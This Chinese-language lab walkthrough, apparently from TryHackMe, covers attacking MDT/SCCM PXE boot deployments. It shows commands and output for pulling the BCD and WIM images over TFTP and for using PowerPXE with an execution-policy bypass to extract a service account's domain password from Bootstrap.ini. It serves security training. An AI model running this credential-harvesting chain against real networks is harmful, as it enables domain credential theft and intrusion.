介绍
MDT & SCCM
MDT 是一项 Microsoft 服务,可以帮助我们自动部署 Microsoft OS, 大型组织常使用 MDT 等等服务来对内部的系统进行部署镜像,同时维护和更新。
通常 MDT 和 SCCM 集成,SCCM 管理所有 Microsoft **<font style="color:#DF2A3F;">应用程序</font>****<font style="color:#DF2A3F;">、服务和操作系统的所有更新</font>**
, MDT 用于 <font style="color:rgb(33, 37, 41);">新部署</font>
,本质上,MDT 可以帮助 IT 团队预配置和管理启动映像。
:::danger 举个例子: 当我们需要配置一个新电脑时,只需要连接网络就可以自动运行,并配置电脑
:::
SCCM 可以视为 MDT 的扩展,SCCM 负责软件安装后的补丁管理, 该方法允许 IT 团队审查和安装所有软件的可用更新。该团队还可以在沙盒测试这些补丁。
PXE
在大型组织中会使用 PXE 引导,以实现通过网络来加载和安装操作系统, MDT 可以用于创建 管理 托管 PXE 启动镜像,PXE 引导通常与 DHCP 集成,这意味着当 DHCP 分配 IP 时,就可以允许主机请求 PXE 引导来启动操作系统的安装。
客户端会使用 TFTP
连接来下载 PXE 引导镜像,我们具有两个利用思路:
- 注入权限升级: 获取本地管理员账户
- 密码抓取以获取在安装期间使用的 AD 凭证
PXE 引导镜像
我们知道 DHCP 会和 PXE 集成,所以我们假设当前我们已经获得了目标URL :
http://pxeboot.za.tryhackme.com/ ,该页面会列出 BCD 文件
通常我们使用 TFTP 请求来获取 BCD 文件。获取命令:
C:\Users\THM\Documents\Am0> tftp -i <THMMDT IP> GET "\Tmp\x64{39...28}.bcd" conf.bcd
Transfer successful: 12288 bytes in 1 second(s), 12288 bytes/s
在获取了 BCD 文件后,我们使用 powerpxe 来读取内容:
C:\Users\THM\Documents\Am0> powershell -executionpolicy bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Users\THM\Documents\am0> Import-Module .\PowerPXE.ps1
PS C:\Users\THM\Documents\am0> $BCDFile = "conf.bcd"
PS C:\Users\THM\Documents\am0> Get-WimFile -bcdFile $BCDFile
>> Parse the BCD file: conf.bcd
>>>> Identify wim file : \Boot\x64\Images\LiteTouchPE_x64.wim
\Boot\x64\Images\LiteTouchPE_x64.wim
WIM 文件是 Windows Imaging Format (WIM) 引导镜像,现在我们有了 PXE 引导镜像位置,我们再次使用 TGTP 下载此映像:
PS C:\Users\THM\Documents\am0> $wimfile = '\Boot\x64\Images\LiteTouchPE_x64.wim'
PS C:\Users\THM\Documents\am0> $mdtserver = (Resolve-DnsName thmmdt.za.tryhackme.com).IPAddress
PS C:\Users\THM\Documents\am0> tftp -i $mdtserver GEt "$wimfile" pxeboot.wim
Transfer successful: 341899611 bytes in 277 second(s), 1234294 bytes/s
这一步我们是在下载一个完全可引导和配置的 WIndows 镜像
现在我们已经获取了 PXE 启动镜像,我们尝试从中获取泄露的存储凭证,接下来我们产生注入一个本地管理员用户,关于此类更多的攻击请参考:Taking over Windows Workstations thanks to LAPS and PXE - RiskInsight
PS C:\Users\THM\Documents\am0> Get-FindCredentials -WimFile pxeboot.wim
>>>> Finding Bootstrap.ini
>>>> >>>> DeployRoot = \\THMMDT\MTDBuildLab$
>>>> >>>> UserID = svcMDT
>>>> >>>> UserDomain = ZA
>>>> >>>> UserPassword = PXEBootSecure1@